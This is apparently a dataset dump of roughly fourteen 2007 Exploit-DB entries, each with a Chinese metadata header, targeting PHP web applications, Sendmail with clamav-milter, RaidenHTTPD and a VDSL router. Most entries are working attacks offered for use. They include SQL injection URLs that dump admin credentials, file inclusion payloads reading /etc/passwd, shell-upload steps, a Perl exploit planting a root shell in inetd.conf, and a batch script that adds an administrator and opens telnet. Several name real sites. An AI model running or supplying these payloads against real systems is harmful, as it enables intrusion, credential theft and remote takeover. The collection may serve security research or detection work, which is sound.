QLWD/code_shield huggingface dataset:
标题: IP Reg 0.3 - Multiple SQL Injections EDB-ID: 4771 CVE: 2007-6579 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-22 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                           
---------------------------------------------------------------

Http://www.inj3ct-it.org     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

  Multiple Remote Sql Injection

---------------------------------------------------------------

# Author: MhZ91 
# Title: Ip Reg v0.3 - Remote Sql Injection
# Download: http://sourceforge.net/project/showfiles.php?group_id=211757
# Bug: Remote Sql Injection
# Info: IP Reg is a IPAM tool to keep track of assets, nodes (IP addresses, MAC addresses, DNS aliases) within different subnets, over different locations or even VLAN's. Written in PHP, use it with a MySQL-database to have a unique insight in your local network
# Visit: http://www.inj3ct-it.org

---------------------------------------------------------------

http://[site]/vlanview.php?vlan_id='+union+select+1,2,concat(user_name,char(58),user_pass,char(58),user_displayname)+from+user+where+user_id=[UserID]/*

http://[site]/vlanedit.php?vlan_id='+union+select+1,2,concat(user_name,char(58),user_pass,char(58),user_displayname)+from+user+where+user_id=[UserID]/*

http://[site]/vlandel.php?vlan_id='+union+select+1,2,concat(user_name,char(58),user_pass,char(58),user_displayname)+from+user+where+user_id=[UserID]/*

http://[site]/assetclassgroupview.php?assetclassgroup_id='+union+select+1,concat(user_name,char(58),user_pass,char(58),user_displayname)+from+user+where+user_id=[UserID]/*

http://[site]/nodelist.php?subnet_id='+union+select+1,2,3,4,5,6,7,concat(user_name,char(58),user_pass,char(58),user_displayname)+from+user+where+user_id=[UserID]/*

There is other more sql injection.

For get user, password and status of the members, u must edit [UserID] whit number.. The number 1 it's the default id of the admin.
---------------------------------------------------------------

# milw0rm.com [2007-12-22] URL: https://www.exploit-db.com/exploits/4771
标题: Arcadem LE 2.04 - 'loadadminpage' Remote File Inclusion EDB-ID: 4764 CVE: 2007-6542 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-21 漏洞利用脚本: Arcadem LE <= 2.04 Remote File Include Vulnerability

 

Author : KnocKout
Greetz to : CoRSaNTuRK , BORDO , CWneSTer , By-Ajan , User , 44ahmetov , CoBRa_21 , Khirash , CWSearcher , idam
Cyber-Warrior / CW Exploiter TIM

--------------------------------------

Script : Arcadem LE
Version : 2.04
Download : http://www.agaresmedia.com/downloads/Arcadem_LE_2.04.zip

=======================================================

Vulnerability in frontpage_right.php ;


  <?PHP include($loadadminpage); ?>


Exploit : http://localsite/path/admin/frontpage_right.php?loadadminpage=[File]

=========================================================

# milw0rm.com [2007-12-21] URL: https://www.exploit-db.com/exploits/4764
标题: Social Engine 2.0 - Multiple Local File Inclusions EDB-ID: 4767 CVE: 2007-6581 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-21 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------
Http://www.inj3ct-it.org     Staff[at]inj3ct-it[dot]org 
---------------------------------------------------------------
  Local File Inclusion
---------------------------------------------------------------
# Author: MhZ91
# Title: Social Engine v2.0 - Local File Inclusion
# Download: http://scriptmafia.org/2007/12/17/social_engine_v2.0.html
# Bug: Local File Inclusion
# Visit: http://www.inj3ct-it.org
---------------------------------------------------------------
Exploit: http://[site]/admin/admin_header_album.php?global_lang=[LFI]%00
Exploit: http://[site]/admin/admin_header_blog.php?global_lang=[LFI]%00
Exploit: http://[site]/admin/admin_header_group.php?global_lang=[LFI]%00
Exploit: http://[site]/header_album.php?global_lang=[LFI]%00
Exploit: http://[site]/header_blog.php?global_lang=[LFI]%00
Exploit: http://[site]/header_group.php?global_lang=[LFI]%00
---------------------------------------------------------------

# milw0rm.com [2007-12-21] URL: https://www.exploit-db.com/exploits/4767
标题: mBlog 1.2 - 'page' Remote File Disclosure EDB-ID: 4766 CVE: 2007-6582 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-21 漏洞利用脚本: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:                                                                             :
:  vuln.: mBlog 1.2 Remote File Disclosure Vulnerability                      :
:  script info and download: http://www.c97.net/dl/index.php?act=view&id=8    :
:  no dork for s-kiddie [;                                                    :
:                                                                             :
:  author: irk4z[at]yahoo.pl                                                  :
:  greets to: str0ke, wacky, wszystkich polakÃƒÂ³w ;]                            :
:                                                                             :
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

# code:

  ./includes/tpl.php, 41-56:
    ...
41   // load_tpl
42   // loding a template file into a varible.
43   // use quick_tpl to display template
44  function load_tpl ($path)
45  {
46   $tpl = '';
47   global $tpl_block;
48
49   if (substr ($path, -4) == '.tpl')
50   {
51    if (strpos (Cur_Url (), 'includes%2F') OR strpos (Cur_Url (), 'admin%2F') OR strpos (Cur_Url (), 'members%2F')) $path = '../'.$path;
52    if (!file_exists ($path)) die ("<B>Template $path not found! Contact webmaster.</B>");
53    $fp = fopen($path,'r');
54    while(!feof($fp)) $tpl .= fgets($fp,4096);
55    fclose ($fp);
56   }
    ...

load_tpl() 'loading a template file into a varible.' ;]


  ./index.php, 24-30:
    ...
24   // proses cmd
25   switch ($mode)
26   {
27   case 'page':
28    $txt['main_body'] = quick_tpl (load_tpl ($config['skin']."/$page.tpl"), 0);
29    flush_tpl ();
30   break;
    ...
 
file disclosure in $page :*

# exploit:

(%69%6E%63%6C%75%64%65%73 = includes)
http://[host]/[path]/index.php?mode=page&page=../../%69%6E%63%6C%75%64%65%73/db_config.php%00
http://[host]/[path]/index.php?mode=page&page=../../../../../../../../etc/passwd%00

# milw0rm.com [2007-12-21] URL: https://www.exploit-db.com/exploits/4766
标题: NmnNewsletter 1.0.7 - 'output' Remote File Inclusion EDB-ID: 4763 CVE: 2007-6585 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-21 漏洞利用脚本: ???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....     ?????
??????????????????????????????????????????????????????????????????????????????
??                         [ Remote File Include ]                         ??
??????????????????????????????????????????????????????????????????????????????
:   Author     : CraCkEr              : :                                    :
?   Group      : PitBull Crew         ? ?                                    ?
?   Script     : NmnNewsletter 1.0.7  ? ?         Register_globals :         ?
?   Download   : SourceForge.net      ? ?                                    ?
?   Method     : GET                  ? ?          [?] ON   [ ] OFF          ?
?   Critical   : High [????????]      ? ?                                    ?
?   Impact     : System access        ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                               ??
??????????????????????????????????????????????????????????????????????????????
  ?????????????????????????????????????????????????????????????????????????
       http://localhost/path/confirmUnsubscription.php?output=[SHELL]    
   
 ????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, S|AyER, Ehab, Tfaces, Guzman, adal,
       Karlousha, Od3d99aa. Mark, Ramzi, Lust, DeaD, xD

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2007                             ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2007-12-21] URL: https://www.exploit-db.com/exploits/4763
标题: 1024 CMS 1.3.1 - Local File Inclusion / SQL Injection EDB-ID: 4765 CVE: 2007-6584 2007-6583 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-21 漏洞利用脚本: vuln.: 1024 CMS 1.3.1 (LFI/SQL) Multiple Vulnerabilities
  script info and download: http://www.1024cms.com

  author: irk4z[at]yahoo.pl
  greets to: str0ke, wacky
'-----------------------------------------------------------------------------'


# sql-injection:

 code:

   /admin/ops/findip/ajax/search.php:
   ...
 8     $get_users = mysql_query("SELECT id, username FROM ".$prefix."users WHERE ip='".$_POST['ip']."'") or die("cannot get ips: ".mysql_error());
   ...
   
   ^ if magic_quotes_gpc==off, we can get all usernames and passwords from database ;]

 exploit:
 
  <form method="POST" action="http://[host]/[path]/admin/ops/findip/ajax/search.php">
   <input style="width:600px" type="text" name="ip" value="z' AND 1=2 UNION SELECT 1,concat(username,0x20,password) FROM otatf_users/*" />
   <input type="submit" value="ok" />
  </form>


# local file inclusion:

 code:

   /admin/ops/reports/ops/download.php, /admin/ops/reports/ops/forum.php, /admin/ops/reports/ops/news.php:
   ...
 1     <?php
 2     include("./themes/".$admin_theme_dir."/templates/default_header.tpl");
   ...
 
   /pages/print/default/ops/news.php:
   ...
 5     if(!isset($_GET['id']) || !is_numeric($_GET['id'])) die("ID Not Set");
 6     include("./lang/".$lang."/news/default.php");
   ...

   /pages/download/default/ops/search.php:
   ...
 1     <?php
 2     include("./themes/".$theme_dir."/templates/default_header.tpl");
   ...


 exploits:

   http://[site]/[path]/admin/ops/reports/ops/download.php?admin_theme_dir=../../../../../../../../../boot.ini%00
   http://[site]/[path]/admin/ops/reports/ops/forum.php?admin_theme_dir=../../../../../../../../../boot.ini%00
   http://[site]/[path]/admin/ops/reports/ops/news.php?admin_theme_dir=../../../../../../../../../boot.ini%00
   http://[site]/[path]/pages/print/default/ops/news.php?id=1&lang=../../../../../../../../../boot.ini%00
   http://[site]/[path]/pages/download/default/ops/search.php?theme_dir=../../../../../../../../../boot.ini%00

# milw0rm.com [2007-12-21] URL: https://www.exploit-db.com/exploits/4765
标题: Sendmail with clamav-milter < 0.91.2 - Remote Command Execution EDB-ID: 4761 CVE: 2007-4560 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-12-21 漏洞利用脚本: ### black-hole.pl
### Sendmail w/ clamav-milter Remote Root Exploit
### Copyright (c) 2007 Eliteboy
########################################################
use IO::Socket;

print "Sendmail w/ clamav-milter Remote Root Exploit\n";
print "Copyright (C) 2007 Eliteboy\n";

if ($#ARGV != 0) {print "Give me a host to connect.\n";exit;}

print "Attacking $ARGV[0]...\n";

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '25',
                              Proto    => 'tcp');

print $sock "ehlo you\r\n";
print $sock "mail from: <>\r\n";
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
print $sock "data\r\n.\r\nquit\r\n";

while (<$sock>) {
        print;
}

# milw0rm.com [2007-12-21] URL: https://www.exploit-db.com/exploits/4761
标题: nicLOR CMS - 'sezione_news.php' SQL Injection EDB-ID: 4762 CVE: 2007-6586 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-21 漏洞利用脚本: Name            :  nicLOR-CMS SQL Injection Vulnerability.
Author          :  x0kster
Email           :  x0kster@gmail.com
Script Download :  http://www.niclor.net/prodotti/16-04-06-niclor_cms.zip
Date            :  21/12/2007

#SQL Injection in sezione_news.php

   <?php
   [...]
   $intSezioneID = $_GET['id'];
   [...]
   $strSQL = "SELECT articolo.intArticoloID, "
           . "[...]"        
           . " HAVING articolo.intSezioneID = $intSezioneID"
           . "[...]";
   [...]
   ?>

  So we can exploit the $intSezioneID and execute an sql injection.

  PoC:
  http://example.com/nicLOR-CMS/index.php?page=sezione&id=-1+union+select+1,concat(strUser,0x3a,strPass)+from+login/*

  And then we'll get the username and the hash of the admin.

# milw0rm.com [2007-12-21] URL: https://www.exploit-db.com/exploits/4762
标题: Dokeos 1.8.4 - Arbitrary File Upload EDB-ID: 4753 CVE: 2007-6479 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-18 漏洞利用脚本: # Name : dokeos-1.8.4  Bypass Upload Shell From Your Profile (Your Cpanel)
# Download From : http://www.dokeos.com/download/dokeos-1.8.4.zip
# Found By : RoMaNcYxHaCkEr
# Home Page : Not Yet :(
# Google Dork : Platform Dokeos 1.8.4 Â© 2007
============================================================================
# Explantion By Video:
http://www.mediafire.com/?92em2pjx0s1
# Explantion Exploit :
First You Must Register In Script Ok :
http://localhost/dokeos/main/auth/inscription.php
And Enter By Username And Your Password The Enter Here Your Profile You Can See That Above :
http://localhost/dokeos/main/auth/profile.php
Then You See Choice My productions And See Browser Rename Your Shell To Shell.php.rar Then Choose Ok In Final
Then Enter Here And See Your Profiles And If You Online Or Not
http://localhost/dokeos/whoisonline.php
And Search Your Username And Enter Your Profile
Then You See All Information Which You Added !! Like That:
Productions
sniper.php.rar
See That Enter Your Name Shell And See Link Your Shell Like Me Here
http://localhost/dokeos/main/upload/users/4/sniper.php.rar
That,s All :)
Good Luck Everybody
============================================================================
# Greet To :
Cold Z3ro My Master (Hackteach.org)
Hack15 TeaM (V99x.com)
Sniper-Sa (Sniper-sa.com)
Tryag TeaM (Tryag.com)
Yee7 TeaM (Yee7.com)
H-T TeaM (no-hack.fr)
Str0ck
My5ql Team
Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye And All My Friends
# For Contact : RxH@HotMail.iT
Best Wishes

# milw0rm.com [2007-12-18] URL: https://www.exploit-db.com/exploits/4753
标题: RaidenHTTPD 2.0.19 - 'ulang' Remote Command Execution EDB-ID: 4747 CVE: 2007-6453 类型: REMOTE 平台: WINDOWS 发布日期: 2007-12-18 漏洞利用脚本: rem raidenhttpdudo.cmd

                  @echo off

                  color 0a

rem RaidenHTTPD 2.0.19 ulang cmd exec poc exploit 
rem WebAdmin one - not enabled by default anymore 
rem however works regardless of  php.ini, because 
rem "ulang" comes from $_GET[] and some magic_quo
rem tes_gpc disable code,lame  divertissement one
rem to demonstrate an  unauthenticated  directory 
rem traversal  ...
rem rgod ----------http://violentcop.splinder.com

         if {%1}=={} goto kill

echo HEAD /?^<?ob_end_clean();ob_clean();passthru($_GET[CMD]);die;?^> HTTP/1.1>in
echo Host: %1>>in & echo Connection: Close>>in & echo.>>in
nc %1 80 -v -w1< in > nul
echo ..\..\..\logs\access_%date:~6,4%-%date:~3,2%-%date:~0,2%.log%%00> puf & set /p exploit=< puf 
echo GET /raidenhttpd-admin/workspace.php?CMD=cmd.exe+%%2Fc+net+user+sun+tzu+%%2Fadd+%%26+net+localgroup+Administrators+sun+%%2Fadd+%%26+sc+config+NtLmSsp+start%%3D+auto+%%26+sc+config+RpcSs+start%%3D+auto+%%26+net+start+RpcSs+%%26+net+start+NtLmSsp+%%26+sc+config+TlntSvr+start%%3D+auto+%%26+net+start+TlntSvr+%%26+netsh+firewall+add+portopening+tcp+23+sh+%%26+echo+REGEDIT4+%%3E+sh.reg+%%26+echo+%%5BHKEY_LOCAL_MACHINE%%5CSYSTEM%%5CCurrentControlSet%%5CControl%%5CLsa%%5D+%%3E%%3E+sh.reg+%%26+echo+%%22forceguest%%22%%3Ddword%%3A00000000+%%3E%%3E+sh.reg+%%26+regedit+%%2FS+sh.reg^&ulang=%exploit% HTTP/1.1> in
echo Host: %1>>in & echo Connection: Close>>in & echo.>>in
echo please wait ...
nc %1 80 -v -w1< in > nul
ping localhost -n 15>nul & rem delaying ...
del puf
del in
                telnet %1 23

                goto nowhere

                  :kill
            echo %0 [target-host]

                 :nowhere

rem milw0rm.com [2007-12-18] URL: https://www.exploit-db.com/exploits/4747
标题: PHPMyRealty 1.0.x - 'search.php' SQL Injection EDB-ID: 4750 CVE: 2007-6472 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-18 漏洞利用脚本: # xaker.name & grabberz.com
#
#    .__                                          __.   
#    NN)    NNNN   JNNN` NNNN.   NNN NNNNNNNNNNN  NN)   
#    NN)    `NNN).NNNF  .NNNNN  (NN) """4NNN"""`  NN)   
#    NN)     (NNNNNN`   (NNNNN) NNN     (NNN      NN)   
#    NN)      4NNNN`    NNN(NNN.NNF     NNN)      NN)   
#    NN)     JNNNNL    (NN) NNNNNN)    (NNN       NN)   
#    NN)    JNNNNNN)   JNN` `NNNNN     JNNF       NN)   
#    NN)  .NNNF (NNN.  NNN   4NNN)     NNN)       NN)   
#    NN) JNNN`   NNNN (NN)    NNN`    (NNN        NN)   
#    NN)                                          NN)  
#    .__           http://xaker.name              __.
#
#
# script name      : phpMyRealty 1.0.x
# GoogLe Dork      : Powered by phpMyRealty
# Script demo      : www.phpmyrealty.com/demo/index.php
# The price        : $99.95
# Risk             : Average
# Found By         : Koller
# Thanks           : | robo9 | rijy | Concord | Helkern | Constantine | -St1ff- | .dot | @$_terr_X | b3 |
# Vulnerable files : search.php, findlistings.php

# Vuln : www.victim.com/search.php?type=-1+union+select+concat_ws(char(58),login,password)+from+pmr_admins
#        www.victim.com/search.php?type=-1+union+select+concat_ws(char(58),login,password)+from+pmr_users
#
# Admin panel: www.victim.com/admin/index.php
#
# Addon :) - sql-injection in findlistings.php
# www.victim.com/admin/findlistings.php?listing_updated=YES&listing_updated_days=1)+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4/* 

# Contact: K0ller (at) hotmail (dot) CoM

# milw0rm.com [2007-12-18] URL: https://www.exploit-db.com/exploits/4750
标题: FS4104-AW VDSL Device (Rooter) - GoAhead WebServer Disclosure EDB-ID: 4744 CVE: 2007-6702 类型: REMOTE 平台: HARDWARE 发布日期: 2007-12-18 漏洞利用脚本: --------------------------------------------------------------------------------

# WebServer powered by goahead WEBSERVER

# Vulnerability on : FS4104-AW - Full-Service VDSL Device

# exemple : IP : 81.240.1.1 to 81.240.1.254 / port : 80

# exploit : =>http://[ip]/goform/QuickStart_c0
            =>source
            =>password disclosure on 'Input typepassword'

# verification on www.skynet.be

# Vulnerability Found By NeoCoderz

# mail:NeoCoderz1@msn.com
                            fReNcH HaCkInG Is NoT dEaD ...
                                      eNjoY iT ....
---------------------------------------------------------------------------------

# milw0rm.com [2007-12-18] URL: https://www.exploit-db.com/exploits/4744
标题: MySpace Content Zone 3.x - Arbitrary File Upload EDB-ID: 4741 CVE: 2007-6668 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-18 漏洞利用脚本: ----------------------------------------------------
[+-MySpace Content Zone RFi-+]
----------------------------------------------------
Found By Don & breaker_unit
----------------------------------------------------


Vuln file: /admin/uploadgames.php
Fix: secure admin area

Dork: "Powered by MySpace Content Zone"


go to /admin/uploadgames.php
example:
http://www.virtualdynamite.com/admin/uploadgames.php
and upload your shell - lets say it is named as c99.php

ok, now go to /uploads/thumb/c99.php
like: http://www.virtualdynamite.com/uploads/flash/c99.php

and - what you see ?? :xD
your shell!

Note1: you can add .php%00.jpeg cause %00 = null
Note2: it takes awhile to upload a shell sometimes!


Creditz to breaker_unit, h4cky0u.org and str0ke!
Don is wishing Happy Holidays to all of you reading this!
Cheers!

# milw0rm.com [2007-12-18] URL: https://www.exploit-db.com/exploits/4741